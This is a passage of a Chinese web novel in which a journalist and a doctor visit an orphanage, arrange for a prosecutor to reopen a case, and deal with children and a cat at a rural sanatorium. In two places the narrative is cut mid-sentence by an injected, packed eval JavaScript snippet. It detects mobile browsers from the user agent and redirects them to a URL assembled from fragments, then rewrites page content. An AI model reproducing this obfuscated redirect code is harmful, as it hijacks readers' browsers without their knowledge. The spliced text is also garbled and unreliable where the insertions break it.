“说明发展得很快啊。”呼延感慨,“来的时候路过市区那片高楼,我甚至有种回到北城了的错觉。” 吴措嘴角抬了抬,“如果你十年前来的话,绝对不会是现在这种印象。” 呼延回过身来,看着吴措。 吴措平静地和她对视,他的头发被风吹着向后翻过去,锋利立体的眉眼完全露出来,有点好看。 是认识太久了吗?呼延好像把他看顺眼了。 “晋城十年前也是全国人均GDP排名前10的省份啊。”呼延不解。 “你也说了,是人均。而且那时候的资金有很大一部分都没有放在城市和人文发展上。” “那放在哪里了?” 吴措没回答,呼延咂摸了一下,稍微明白了一些。 十年前是反腐和反黑的重要节点,傅惟的落马不是一个开始,而是一个里程碑。 呼延看向街边贩售手工艺品的小摊,和远处高耸的办公楼。也许这些人能适宜地像现在这样生活,起点就是吴措发出的那篇报道。 虽然仍然还有一些太阳照不到的地方,比如小孙警官的那张办公桌。 但多晴一块天,就会多亮一块地。 “吴措,我觉得你的工作很了不起。”呼延真心地看着吴措。 “干嘛,又开始了?现在继续捧可是收不到什么回报了。”吴措笑了一声。 呼延也没生气他的玩笑,“我是说真的,能做出这些事你真的很厉害。而且昨天也是真心的。你妈妈肯定也为你感到骄傲。” 吴措的笑停了一下,而后看着呼延,缓慢把笑意延展开,“虽然担不上什么‘了不起’的说法,但,既然是你说的,我就收下了。” 他在空气中虚抓了一下,像模像样地放进了自己的口袋里。 “幼稚。”呼延说,“不过幼稚得好。如果男人至死是少年是你这样,那就继续少年吧。” “呵,夸不过两秒。” “是你撑不过两秒。” “……” - 呼延没想到这辆公交的终点站是一所孤儿院。 到站下车后,呼延站在原地迟疑了一下。是吴措离开太久记错了?还是这里是后来翻盖的孤儿院? “愣着干嘛?刚才是谁在车上喊饿的来着。”吴措走在前面叫她。 “等等……我们是去吃饭,怎么来这里了?” “这儿我熟,带你蹭顿免费的。”吴措头也没回,提着包带甩在肩膀上,大踏步走进了孤儿院。 越往里走呼延心里越心虚起来,封筝只是说过吴措妈妈去世了,但没说他妈妈是什么时候去世的。 不会是在吴措很小的时候就去世了吧,所以他从小是在孤儿院长大的? 那她也太造孽了。 阿弥陀佛,回去后再去拜一拜佛赎罪。 进了大门后,陆陆续续有人和吴措打招呼,从工作人员到小孩,呼延就更心虚了。这几乎做实了吴措是在这里长大的事实。 而且吴措还说过他以前就坐他们来时的公交车上学,返程的公交不就是从孤儿院开往学校的么。 她紧跟在吴措身后,看好时机轻咳一声:“吴措,我要和你说声正式的对不——” “吴措!”这时一个年纪看起来有六十几岁的男人快步走向他们,打断了呼延的话,“小礼说是你来了我还不信。你怎么来之前也不打个招呼啊,多久没回来了,还好吗?” 听,‘回来’,多精准的用词。 吴措笑着说:“也是临时决定过来的。前几年忙,一直没有时间,这不是刚有时间就来看院长您了。” 院长假装生气地哼了下气,“你就贫嘴吧。这么多年一点消息都没有,我还以为你早把我们这忘了呢。” 说着又看向一旁的呼延,“是女朋友吧?这姑娘长得真漂亮。” 呼延连忙解释:“不是女朋友!” 吴措微笑抿唇,“漂亮吗?您就别夸她了,容易飘。” 院长嗔他一下,“不是女朋友也是重要朋友,不然怎么可能领这儿来了。” “我们是来蹭饭的。”吴措抱胳膊看着难得看起来有些内向的呼延,“这位重要朋友饭量大,我说带她来蹭顿饱的,院长不介意吧。” “这有什么。”院长乐呵呵的,“能吃多少吃多少,我这别的没有,饭肯定管饱。” “……谢谢院长。”呼延说。 然后咬牙冲吴措低声说:“非要让我社死是吧,谁饭量大!” “我饭量大行了吧。”吴措转脸看向呼延有点讨好,“一会儿见到其他人别说我坏话,给我点面子。” 呼延哼哼两声,“看你表现。” - 小朋友的晚饭时间开始得早,五点钟就摆好了饭盘在小桌上等着,呼延被安排到了一桌年龄跨度从五六岁到十几岁的小孩桌,而吴措把她送进来后就被叫出去不知道做什么去了。 呼延的视线从门口收回的时候,发现桌上五个小朋友的眼睛正齐齐看向她。 “你是吴措哥哥的老婆吗?”一个小朋友问。 另一个小朋友纠正:“不要乱说,小礼哥哥说现在还只是女朋友,老婆要到领结婚证以后才能喊呢。” “那姐姐什么时候和吴措哥哥领结婚证?” “等他们相爱的时候就可以去领啦。” “那姐姐什么时候和吴措哥哥相爱呢?” 呼延:“……” 等等,她错过了什么。 这小孩的脑回路她怎么有点跟不上。 呼延满眼黑线,最小的小孩看着呼延哈哈笑起来,“姐姐呆呆的。” 呼延:“……” 这样不行,她怎么好像被几个小孩支配了。 呼延坐直咳了一声,“首先,我不是吴措的女朋友,更不是他老婆,而且我们也不打算领结婚证。” “姐姐不要吴措哥哥了嘛?” “啊我知道!吴措哥哥失恋了!” “吴措哥哥好可怜。” “等等!”呼延发现小黄豆不爱说话这件事真是个大优点,“我和吴措只是普通朋友。” 在小朋友们开启另一段讨论前,呼延再次以音量优势打断,“其次!你们先回答我一个问题。吴措是在这里长大的吗?” 几个小孩一下子安静下来,互相左看右看,像是被难住了的样子。 “不是。”始终没有说话、年龄最大的小朋友开了口,“吴措哥哥是志愿者,从我还没来这里的时候就是了。” “你还没来这里的时候?”呼延想了下,“十年前?” 小孩说:“我也不知道多少年,我是听小礼哥哥说的,吴措哥哥小时候就经常和他妈妈一起来这里做志愿者,后来他妈妈去世,他就一个人来,已经很多年了。” “原来这样。”呼延若有所思。 看来吴措不是在孤儿院长大的,但怎么感觉,她的愧疚感并没有降低呢。 快开饭的时候,吴措回来了,跟着他一起的,除了院长,还有一个和他们年纪看起来差不多大的男人。 呼延的桌子已经满了,吴措遥遥和她打了个招呼,坐在了另一张桌子旁,那个同行的男人也冲呼延点点头,呼延连忙回点一番。 然后问桌上的小孩,“这是谁啊?” 一个说:“这是吴措哥哥啊。” “你笨吗?姐姐肯定认识吴措哥哥啊。她说的是庞叔叔。” “是庞哥哥!我要和庞哥哥告状,你又叫他庞叔叔。” “我这个鸡腿给你吃,你不要告状。” “好吧,我就不告诉庞哥哥啦。” 一不小心又被把话题拉开了,呼延连忙插嘴,“庞哥哥是谁?” “庞哥哥你都不知道?”一个小孩说,“庞哥哥是最厉害的哥哥!他是专门抓坏人的!” “警察?”呼延问。 “不是警察,是侦探先生!”小孩仰起下巴骄傲地说。 ? “是检察官。”还是最大的小孩开口拯救了话题,“庞哥是吴阿姨资助的第一个人。” “吴阿姨?” “吴阿姨是吴措哥哥的妈妈。”小孩解释。 “原来这样。”呼延点头。 她觉得自己已然变成人机,她越发觉得自己一点都不了解吴措,越了解就越不了解。 他经历了多少事情,他的母亲是个什么样的人,他是怎么看待他的父亲的。 隔着几张桌子,呼延看向和旁人谈笑风生的吴措。 这个人真的很奇怪,明明就是个好人,为什么把自己伪装得像是个混蛋呢? 晚饭结束,呼延抓紧时机跑到了吴措那桌,准备打探打探消息。 呼延也不是真笨到认为吴措会无缘无故在这个时间点带她来孤儿院,就是为了蹭顿饭吃,听到关于“检察官”的话时呼延就更确信了自己的猜测,应当是与刘敏秀的事情有关。 只是当她刚走过去,吴措和庞综就起身了。 庞综冲吴措点点头,“我会回去查一下,不过前几年系统做过一次大升级,很多资料可能找起来没那么方便,但最晚48小时内我会给你一个答复。” 吴措:“没那么着急,还是以公事为先。” 庞统笑笑,“这也是公事,本来就是几年前就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14549343|153914||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 该处理好的。而且你当年帮了我那么大的忙,这点事算什么。” “小事。”吴措轻描淡写没多聊。 “这位是呼延医生吧。”庞统看向呼延。 突然被cue,呼延立正站好,“是。” “刘敏秀相关的案子我会联系当地检察院重新审理,你先不用担心,有结果我第一时间通知吴措,让他转告你。” “我不担心我不担心。”呼延说,“庞哥辛苦了。” 庞统从长相来看是个挺严肃的人,说话也是始终一本正经,听到呼延的话板正的脸上也是裂了道缝,说:“那好我就先走了,有消息再联系。” “好。”吴措说,“我送你。” “不用,你和呼延医生聊吧,她好像有话和你说。” 庞统说完挥挥手,一个人离开了食堂。 - 从孤儿院离开时,天已经彻底黑下去了,孤儿院门口挂着两盏灯,小径幽幽通往公交车站,呼延和吴措缓步在小径上走着。 “所以你其实,找的是庞检察官,不是、傅惟?”呼延小心翼翼问出口。 吴措低着头,看着路灯将他们的影子拉长,“陈章当年提交了很多化工厂违规排放的材料,但是都被当地的地方检察院压下去了。枥城虽然不是庞统管辖的区域,但他和去年枥城新上任的检察官是校友,立功的机会不会不要。” 怎么又到陈章的事了? 吴措见呼延一脸疑惑的眼神,抬唇笑了下,踢了一块小石子到呼延脚下。 “嘶,又开始耍贱了你。”呼延瞪他。 吴措:“对于王胜天这种人来说,情分是其次,利益交换才是根本。案件重审后,刘敏秀手里就握着起诉王贲的权力,他就算想要报复,也会更谨慎一些。” “原来这样。”呼延点头。 太复杂了,她屈服了,彻底沦为人机。 走到公交站点,等车的时候呼延忽又想起一件事,“庞统说你帮过他一个很大的忙,是指你母亲资助他的事吗?” “这么感兴趣?” 呼延诚恳点头,“真的很感兴趣。” “当时傅惟的案子,我是和庞统配合取证举报的。”吴措说,“后来他凭借这个案子从地方调到了省里,职级连升3级。” 这确实,是很大的一个忙。 “但,你去见你父、傅惟,又是做什么?”呼延没忍住问道。 吴措表情都没变一下,“落井下石。” 呼延:“……” 吴措:“告诉他,时代已经变了,不是他一句话就能摆平一切的时候了。” 呼延思索着这句话,又抬头看向吴措,路灯下他的睫毛盛着光,很缓慢地眨了下。 “公交车到了。”吴措说。 返程的车上除了司机和他们,其他一个人都没有。 吴措和呼延坐在前后座椅上,默契地没有说话。 几小时前,吴措去见傅惟,他们的会见时长一共14分钟,有漫长的十分钟里都是对视和无言。 他大概是遗传了傅惟的犟脾气,不管到什么境地,都不会认为自己犯了错。 时钟不疾不徐走着,狱警的视线从紧盯到放弃,最后是傅惟先开了口。 “瘦了。” 吴措顿了下,然后冷笑出声,“托您的福。” “我听说你现在在一家疗养院里。”傅惟倚靠着座椅,虽然一身囚服,但气场非凡。 “和你有关系吗?”吴措的声音冷了几分。 “你不用和我这样说话,我没有要动她的意思。” “她?”吴措篾笑一声,“你配提起别人吗?” 傅惟看着他,吴措说:“你以为现在还是你的那个时代吗?你的恐吓和威胁已经没用了,你的手再长,伸不到那里。” “我今天来就是告诉你,我妈当年宁愿死也要离开你的决定,是对的。”吴措起身,“祝您长寿。” 吴措转身离开,和自己的血缘做了最后一次切割,干净利落地,没有回头。 - 王铖的和解书是第三天发出的,对减刑帮助不大,但聊胜于无。 刘敏秀对自己的投毒行为供认不讳,而且王贲治疗后的确留下了严重的肝功能后遗症,这让判刑的商量余地少了许多。 呼延去见刘敏秀的时候,刘敏秀听说了当年的案件会重审后,整个人像是活了一样。 忽然笑,又忽然哭起来。 隔着玻璃,刘敏秀和呼延说了抱歉,她承认自己自私,她知道呼延会把小黄豆照顾得很好,等她出来了,会用一辈子来报答呼延。 呼延把小黄豆跟着星星学的画展示给刘敏秀看,“小黄豆还不知道你的事,等你做好准备亲自和他说吧。这是他放在我房间里的,我猜画的是你。” 小孩画笔青涩,画面里只是一些简单的线条,不仔细看根本看不出形状。 但刘敏秀认出来,画面中间的那个最高的、扎着辫子的火柴人是她,她的头上顶了一个大石头,在她的另一侧站着一个小火柴人,小火柴人伸出很长很长的胳膊抱着大火柴人的腿。 也许是在试图帮她承受一部分压力,也许是在告诉她还有自己在,也许没有她想的那么多含义。 小黄豆思想简单,也许这幅画什么意义都没有,只是胡乱描绘出的一些线条的杂糅。 但刘敏秀捂着嘴巴又哭了。 她第一次有些后悔。然而,后悔有什么用呢…… 好在,还有呼延。 - 在刘敏秀的判决出来的当日,吴措的报道也发了出去。 王贲的化工厂关停,王铖旗下的好几个产业商铺也正式进入了调查流程。 晚饭后,吴措和呼延一起在院子外散步,忽然伸出手来,“还给我。” “什么?”呼延一头雾水。 “护身符啊,不会现在赖账吧。” 呼延想起来了,但不是很想给出去,“不是。要不我重新给你求一个吧。那佛寺的小店只中午开三个小时,当时没开。这是我上学的时候我妈给我求的。” “我说怎么看起来这么旧。”吴措说,手依旧伸着,“给我。” “旧东西你也要?”呼延不敢相信。 吴措面对着呼延,倒退着走路,“呼延医生第一次送东西,当然得好好保存。下一次又不知道是猴年马月。” 呼延听出了他的阴阳怪气,“我有这么抠吗?” “您这叫节约。” 虽然还是阴阳怪气,但还算是句人话,难得从狗嘴里吐出来。 “行吧,给你。”呼延从随身的外套口袋里掏出来,递出去,在吴措拿到前又捏住护身符,郑重其事看着他说:“吴措,谢谢!” “少来。” 吴措接过护身符,快两步走在呼延前面,嘴角慢慢提了起来。 风撩着树叶左右摇晃,天上没有什么星星,这个夜晚以一个圆满的月亮结束了这一年的秋天。 31. 偷吃 枥城的一年四季变化十分微弱,以至于每年呼延过年过节都有种恍惚感,忽然一下就夏天了,忽然一下就秋天了…… 但冬天不一样。 桃花小院的冬天是伴随着巨大的声响到来的。 呼延早上被一阵小号声吵醒,平均以1.5秒为一个频率,持续了五分钟的时候,呼延把脑袋从枕头底下拔出来,大喊一声:“吴措!你又搞什么鬼!” 顶着鸡窝头从房间里出来的时候,呼延发现同样造型感人的吴措也在一脸快死了的样子,站在走廊看着楼下。 呼延走过去,探身往下看,一个小胖子正拿着小号在院子中央吹,小黄豆在旁边捂着耳朵蹲在地上,再旁边是一个年纪更小的双马尾小女孩,挡在小黄豆身前,叉腰冲小胖子喊:“不要吹了!” 小胖子吹得更凶了。 小胖子是3号楼202室双相病人高梦秋的儿子,叫王小果,比小黄豆大两岁,每到寒假的时候会到小院住两个月。 这将会是小院最鸡犬不宁的两个月。 小胖子个子不到一米二,但破坏力极强,上天入地堪比哪吒闹海,几个精神衰弱的病人见到他就躲,破坏力最强的时候差点开着他的大G玩具车把院子里的桃花树撞坏一棵。 呼延扯着王小果的领子去找高梦秋要说法,高梦秋一会儿说自己头疼犯病了,一会儿说自己种的萝卜开花了要去看,总之就是主打一个不听不看不管。 于是呼延把王小果的玩具车车皮、车轱辘全卸了个七零八碎,好在高梦秋自己不管孩子也不干预别人管不管,王小果对着自己被拆成零件的玩具车哇哇大哭的时候,她仍旧不听不看不管。 后来呼延就成了整个小院王小果唯一怕的人。 这回王小果在学校新学了小号,非要给迟迟表演。 迟迟就是那个双马尾小女孩,是后勤阿姨兰姨的女儿,和小黄豆同岁,在城里上寄宿幼儿园,同样也是寒假回小院住。 迟迟不喜欢吵闹的王小果,让他不要再吹了,王小果一身反骨,被否定了以后偏偏更要证明自己,于是换了首自以为拿手的曲子继续吹起来。 “你听啊迟迟,这首歌很难吹的,哆哆咪发西,咪咪哆来哆——诶谁抢我的小号,我——” 王小果鼓着小胖脸怒目回头,对上对方视线后立马蔫了,“真、真真姐姐。” “王小果!我不是告诉你,不准打扰到别人吗?为什么要在院子里吹小号!”呼延将小号收到身后背着手,教导主任似的压迫感十足地盯着王小果。 “是、是小黄豆要听的!”王小果慌乱中指向小黄豆,“他要抢我的小号,我不给他,他就让我吹给他听,我才吹的,你要骂小黄豆!” 呼延看向小黄豆,小黄豆蹲在地上将自己埋在胳膊里,一句话没说。 王小果见他没为自己辩驳,变本加厉,“就是他,真真姐姐你让他不要在这里住了,我妈说他都没钱交,是没人要的孩子。” “你胡说!”迟迟本来在安慰小黄豆,听到这话蹭地站起来,“不准你说小黄豆!真真姐姐,不是这样的,小黄豆没有和他抢,是他自己要吹的,真的!” 眼看迟迟快要急哭了,呼延准备去哄迟迟,但王小果又开始嚷嚷起来,“就是小黄豆!就是小黄豆!” 忽然手里的小号被人拿走了,呼延回头,身后站着的人是吴措,“干嘛,你处理不来的。” 毕竟王小果这小子谁都不怕。 吴措眉头轻动了一下,拿着小号走到王小果面前,“这是你的小号?” 王小果没见过吴措,迟疑地打量了他一番,点点头。 “会吹《小螺号》吗?”吴措说。 王小果一拍胸脯,“当然会,这是最简单的。” “吹一个。” 呼延要阻止他,“你还让他吹?还嫌不够吵是吧。” 吴措:“别管她,你吹你的。” 王小果衡量了下,发现呼延好像真的管不了吴措,于是大起胆子吹起来。 但吹到一半的时候就觉得有点不对,因为吴措一直在憋笑,或者说,他笑一下停一下,节奏大概1.5秒一次,和他的小号节奏一样。 还没吹完王小果就停了下来,“你笑什么。” “我在笑你啊。”吴措直接不憋了,哈哈大笑出声,“吹得这么响我还以为你真会呢,结果连最简单的《小螺号》都吹错了那么多,我要是你,早就把小号藏起来了。” 王小果脸臊得通红,“你凭什么说我吹错了,你根本就不会吹,你骗人的!” 吴措做了个恍然大悟的神情,“你不会是觉得这里没人会,所以才到处显摆的吧,结果被我这个十级小号大师一眼看穿,无地自容了是不是?” 王小果被戳中心事,脸越憋越红,最后小号也不要了,“哇”的一声边哭边去找他妈了。 王小果跑后,吴措又走到小黄豆跟前蹲下,“小黄豆,现在没事了,把手拿下来吧。” 吴措的手在小黄豆手上轻碰了一下,小黄豆慢慢睁开眼睛看着吴措,吴措递了一根鸡毛给他。 “芦花鸡。”小黄豆的注意力很快被转移,对着芦花鸡鸡毛念叨起来。 “你开养鸡场的啊,怎么随身带鸡毛。”呼延在他身后开口。 “我是变魔术的。”吴措扭头看她,忽然摊开手掌,上面躺着个酸奶果冻泥,但却没有递给呼延,自己边吃边说,“想要什么我都能给你变出来。” “是编出来吧。”呼延嗤了一声,“还十级小号大师呢,也就骗骗小孩。算了,看在你立功的份上就不和你计较了。” 吴措笑了下,继续吃果冻泥。 酸奶果冻的咀嚼声给呼延听馋了,吞了下口水,她忽然想到她在冰箱里还藏了个好久没舍得吃的果冻泥。 呼延小跑去拿,半分钟后小院里响起呼延震天的大喊:“吴措!把老娘的果冻泥给老娘吐出来!” 吴措坐进躺椅里,往后一靠,将自己埋在里头,闭眼晃悠,“别急,明天给你。” 呼延气不打一处来,但想想还是不能和傻逼计较,“算你有良心,明天还我双倍!” “三倍也行,明天一楼卫生间自取。” “你大爷的!给我吐出来!” …… 因为果冻泥事件,呼延一整天都没理吴措,虽然吴措下午及时买了新的果冻泥放在冰箱,呼延就当没看到,还叮嘱小黄豆和迟迟也不准理吴措。 但傍晚呼延就发现吴措竟然和王小果玩了起来。 高梦秋给王小果买了辆儿童自行车,但没人教他怎么骑,王小果本来找八哥教,但八哥被封筝拉走采购了,于是碰上了吴措。 吴措自告奋勇要去教他,王小果最开始还带着早上的气不肯学,吴措骑着车来了段神龙摆尾炫技,王小果立马就服了,原地拜了师父。 呼延过去的时候,发现王小果正骑着自行车在院子里绕圈,边绕边哭,她暂时放下冷战状态,走过去问吴措,“王小果这是怎么了?学会骑车喜极而泣了?” 吴措抬手挡住嘴,小声说:“我教了他怎么骑,没教他怎么停。” 呼延愣了下,噗嗤笑出来,“靠,你太损了。” 不过下一秒呼延就笑不出来了,因为王小果正以一种诡异的速度冲向她的躺椅。 玩闹归玩闹,给小胖子一个无伤大雅的小惩罚就算了,真要伤到小孩,就完全是另外一回事了。 于是在王小果惊叫着冲向躺椅的时候,呼延和吴措谁也没管躺椅,更没管底下的自行车,一个捞住王小果的胳膊,一个捞住大腿,在自行车撞上躺椅前,抬猪一般地把王小果架了起来。 王小果安然无恙,但却哭得更大声了,“我的自行车!” 呼延回头看了眼,也想哭,“我的躺椅!” 吴措也想哭,他负责抱住的是王小果的大腿,小胖子不知道踩到什么粪便上了,脚上的臭东西蹭到了他的衬衫上。 “k——” 真想骂脏话。 王小果的哭嚎引来了宋殊,宋殊一向不爱管这些小孩的事,平时都睁一只眼闭一只眼装听不见,这回是刚好从大门口进来,不得不迎面碰上了。 “怎么了又?”宋殊走过来。 王小果一把鼻涕一把泪跑过去,“吴措哥哥打我!还把我自行车给拆了!” 吴措懒得辩驳,一来确实有他大半的责任,二来他现在只想去把衣服换了。 宋殊看了一眼,大概就明白什么事了,“我还当多大的事呢,拆了就让他给你装回去呗。哭有什么用,再哭谁都没有晚饭吃。” 小胖子一听没有晚饭吃,刚才还止不住的眼泪一下子就刹车了,于是识时务者为俊杰地抽搭了两声,转向吴措:“给我赔!” 吴措面无表情,表情麻木,麻木不仁,“赔。” 理清责任,一秒不多待地上楼换了衣服,洗都不打算洗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14566665|153914||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,直接把衬衫扔进了垃圾桶。 回到楼下的时候,呼延仍然蹲在原地,丢了魂似的。 “怎么了?呼延呼延快回来,呼延真——”吴措吊儿郎当学着叫魂的腔调。 “有病吧你吴措。”呼延懒得理他。 吴措顺嘴回:“有啊。” “有病就治,别打扰我哀悼。” “谁死了,别吓唬我啊。”吴措歪歪脑袋看着呼延。 呼延抱着散架的躺椅,“我在哀悼我的椅子,跟了我四年,每天被我躺,一天好日子都没享受过,就这么没了。” “要你您受累躺下,我把这椅子摞您身上让它老人家体验一下临终关怀?”吴措蹲在她旁边托着半边下巴说。 “滚!别逼我打你。” “好嘞,滚了。”吴措一秒没耽搁,起身走了。 呼延继续抱着椅子哀悼了半分钟,把残骸扔给兰姨当烧火棍了。 也没作解救一下的打算,椅子有些年份了,每天放在院子里风吹日晒本来就没好好保养,有些地方有出现裂纹了,不然也不会被小孩骑着自行车撞一下就散架了。 不过她还是悲伤,悲伤的是,从此以后她躺在小院里晒太阳的好日子就没了。 …… 次日早上,呼延再次被一阵断断续续的小号声吵醒。 再一不再二,呼延决定直接把王小果的小号没收一个寒假。但门打开,站在门口的是三个小孩。 王小果,迟迟和小黄豆。 小孩就是这样,上一秒可以互吵互闹,但不影响下一秒又一起玩了。 呼延皱着眉质问:“你俩怎么也跟着王小果一起搞事情?都想挨批评了是吧?” 迟迟语言组织能力强,站在最前说:“不是的,真真姐姐。吴措哥哥让你去楼下,他要给你个惊喜。” “惊喜?他不给我个惊吓就不错了。” 话是这么说,随便搓了把脸,呼延还是跟着三个小孩下了楼。 刚走下去,就看到了迟迟口中的“惊喜”。 在两棵始终没有开花结果,树干已经长到成人胳膊粗的桃树中间,被挂上了一个两米长的秋千。 米色的布做的,布的两端打了牢固的结,连接着绕在树干上缠了十几圈的粗绳,吴措躺在上面翘着二郎腿悠哉晃着,树叶带着残余的绿色参与到画面中,看起来莫名的和谐闲致。 呼延走近站在秋千旁边半天没开腔,最后吴措睁开一只眼瞧向她,笑了声一个跃身从秋千上翻下来,耸了耸肩,“怎么样?” 呼延装傻,“什么怎么样。” “你的意思是,你不想要这个秋千?”吴措不配合她,说着就要解绳。 呼延一手摁在秋千绳上,一个翻身躺了进去。 看着舒服,躺起来更舒服啊。 吴措人是贱了点,但手艺是真的不错。 呼延伸直胳膊向空中够过去,她的手指半展开,接着透过树叶缝隙漏下来的光,满意地、悠闲地顺着风的摇摆晃悠起来。 晃着晃着,给等半天了的王小果晃急了,“真真姐姐你要躺到什么时候啊,说好下一个是我的。” “排着队吧,等我躺够了再说。” “那你什么时候躺够。” 呼延闭嘴装睡起来。 王小果讨不到趣,又不敢惹呼延,在旁边又哼哼了几声,最后使劲跺了下脚去玩吴措给他修好的自行车了。 呼延又躺了会儿忽然想起来什么,从秋千上起身,发现吴措竟然还在。 “吓我一跳,你站在这干嘛?”呼延说,“不过你在这刚好,我记得冰箱里有一盒洗过的梨你拿过来,我赏你和我一起吃。” 吴措抱臂倚在树干上,“没有了。” 呼延想骂脏话,冲他龇出门牙,“你又给我偷吃了是吧!” “我没有啊。”吴措不承认。 “你没吃那肯定就还有,别人不会像你这么没素质偷吃别人的东西。”呼延骂他。 吴措还是那副不咸不淡的表情,“没有了吧。” 呼延觉得凶多吉少,从秋千上翻下来小跑去打开冰箱,梨竟然安在。 她端着盘子边吃边朝院子走过去,“这不是还有么,你又骗我。” 吴措已经躺在了秋千上,伸手从呼延端着的盘子里叉起一块梨放进嘴里,继续躺了下去,“哦,原来如此,谢谢啊,味道不错。” 呼延:“…………” 32. 戳穿 院子里的秋千成了小院的打卡点,几乎每个人下楼经过的时候都要过去躺那么一□□验体验。 不过大部分时间,秋千还是被肥猫夜宵占据着。 夜宵经常起早贪黑躺在秋千上,除了吃喝拉撒其他时间都窝在秋千里躺着,谁来了也不搭理,俨然已经把这里当成了自己的新领地。 作为小院食物链的顶端,夜宵的窝谁都不敢抢,一来谁会和一只猫抢地盘呢,二来夜宵最近开始迎来迟到的第二波换毛季,随便经过什么地方都是猫毛乱飞,秋千的布袋上已经被抹实了一层猫毛,谁躺下去绝对会带着一身结实的毛衣离开。 呼延早就习惯了,不管不顾躺下去把夜宵抱在怀里一起睡觉,起来的时候像猫似的甩甩毛,再不管不顾去其他地方。 后来吴措看不下去了,他看着呼延,“这个世界上已经没有你在意的人了吗?” 呼延给了个无所谓的眼神,“你猜怎么着,我在意的人今天刚好不在。” “所以你就把自己打扮成一只掉毛猫是么?”吴措下巴指了指呼延背后的一层毛。 呼延随手拍了拍,“这是养猫人尊贵身份的象征,你不懂的。” 吴措呵了声,“我确实不想懂。” 他抬步准备往前走,心里不知怎么忽然堵了一下。 在意的人刚好不在…… 他什么时候在了。 你在意人家,人家在意你么? 呼延瞥到吴措在以奇怪的眼神打量她,抬起眼问他,“又怎么了。” “你脸上有东西。”吴措耷拉着个眼皮。 呼延打开手机相机模式看了半天,“哪有东西,你眼神有问题吧吴措。” “是你眼神有问题。” 吴措撂下这句话,头也没回走了。 莫名其妙! 呼延想和吴措打一架。 - “是呼延医生吗?米玉大概下午两点半到,麻烦你了。” 中午一通电话打了过来,手机另一头是个声音温柔,听起来就很优雅贵气的女人。 呼延应声:“不麻烦不麻烦。2点半是吧?是到小院还是村口?” “我让司机送到小院门口的,米玉没自己出过远门,麻烦你照顾了。”女人客气道。 “没问题,我一会儿留意一下。”呼延说,顿了顿,在女人挂断电话前,呼延又开口道:“那个,妙妙一起过来吗?” 米玉是寒假来小院做志愿者的大学生,和妙妙是堂姐妹,当时电话打过来说米玉要来的时候,呼延很激动,以为妙妙要跟着一起来了。 “她最近出国了,不然还真想让她一起去,姐妹俩也好互相照应,不给你们添太多麻烦。” 呼延稍稍有些失望,但很快掩盖过去了,“没事,有机会再来嘛。我和妙妙同岁,也可以和米玉互相照应。” 女人温和一笑,“那就拜托你啦。” 挂断电话,呼延开始招呼着和封筝一起给米玉收拾空房、晒被子,经过院子的时候,看到吴措正蹲在秋千旁给夜宵喂什么。 上个月夜宵吐了两次,去宠物医院查了有胰腺炎早期症状,不算严重,主要是太胖了,医嘱让控制饮食。 呼延在群里再三叮嘱除了正餐外谁都不准喂猫,但总无法避免王小果几个偷偷拿零食喂它。 把被子搭到晾衣绳上,呼延三步并两步跑过去,发现吴措果然是在给夜宵喂冻干。 “stoooop!!”呼延叫停,“千防万防没防住你!不是和你说了不准随便给夜宵喂食吗?不说胰腺炎了,它再胖下去就要改名叫夜明猪,蹿属科成二师兄了。” 没等吴措说话,夜宵先冲呼延不满地“喵”了一声。 呼延回怼:“说的就是你,猪咪!” 然后瞪向吴措,“还有你,助纣为虐!” 吴措和夜宵一人一猫被劈头盖脸批评了一顿,但谁都没有悔过的意思。 吴措甚至一副十分占理的模样,抬头瞥了呼延一眼,然后继续给猪咪“喂冻干”。 “得寸进尺是吧吴措,你——” 呼延走近,看清吴措的动作后,声音戛然而止。 吴措手里拿着的确实是冻干,但藏在冻干后的是一小粒药片,他先拿冻干诱惑,等到夜宵舔得开心的时候,再以迅雷不及掩耳之势把药片塞进去狸猫换太子。 所以夜宵吃了半天,一口冻干没吃进嘴里,药倒是吃完了。 夜宵是只很有脾气的猫,呼延带它从医院回来后几度试图给它喂药都失败了,后来只能放弃使用“保守疗法”——食疗。没想到这难题被吴措给攻克了。 果然恶猫还需恶人磨啊! 呼延嘴边的话刹车急转弯,干笑了两声:“你还真是、好样的,呵呵。” 吴措早知道呼延会有这种反应,逗她:“刚才要说的不是这个吧?” 呼延刚要开口,门口传来一阵停车的声音。 “坏了。” 呼延顾不得和吴措拌嘴,又急匆匆跑到门口。 门口停了辆黑色玛莎拉蒂,前排出来个一身黑西装打扮的中年男人。 “您就是呼延医生吧。”男人满脸带笑和呼延打招呼。 “叫我呼延就行。”呼延猜到这就是送米玉的司机,指了指车门,微微探身,车窗隐私性很好,什么都没看到,“米玉在里面?” 司机脸上浮现出点不好意思,“对,不过您可能要再等一会儿。” 等什么? 呼延抬眉表示疑问,这时候吴措也从小院走了出来,看着紧闭的车门和站在车旁的两个人。 司机一副一言难尽的样子,也不好把理由说出来,“要不我先把后备箱行李拿出来吧。” “行。” 后备箱自动门打开,司机还没走到车后,后排座位的门“咔哒”一声开了条小缝。 司机就没再动了,等着后排的下一步动作。 又过了有两三分钟的时候,后排门才慢慢打开,一个带着渔夫帽的短发女孩从里面走了出来。 呼延没看清她的脸,因为女孩始终埋着头,呼延靠近微微弯下身,“你是米玉吧,欢迎啊!” 米玉仍旧埋着头,半晌后点点头,没开口。 司机这才把行李从后备箱拿了出来,吴措走上前,“我帮你搬吧。” 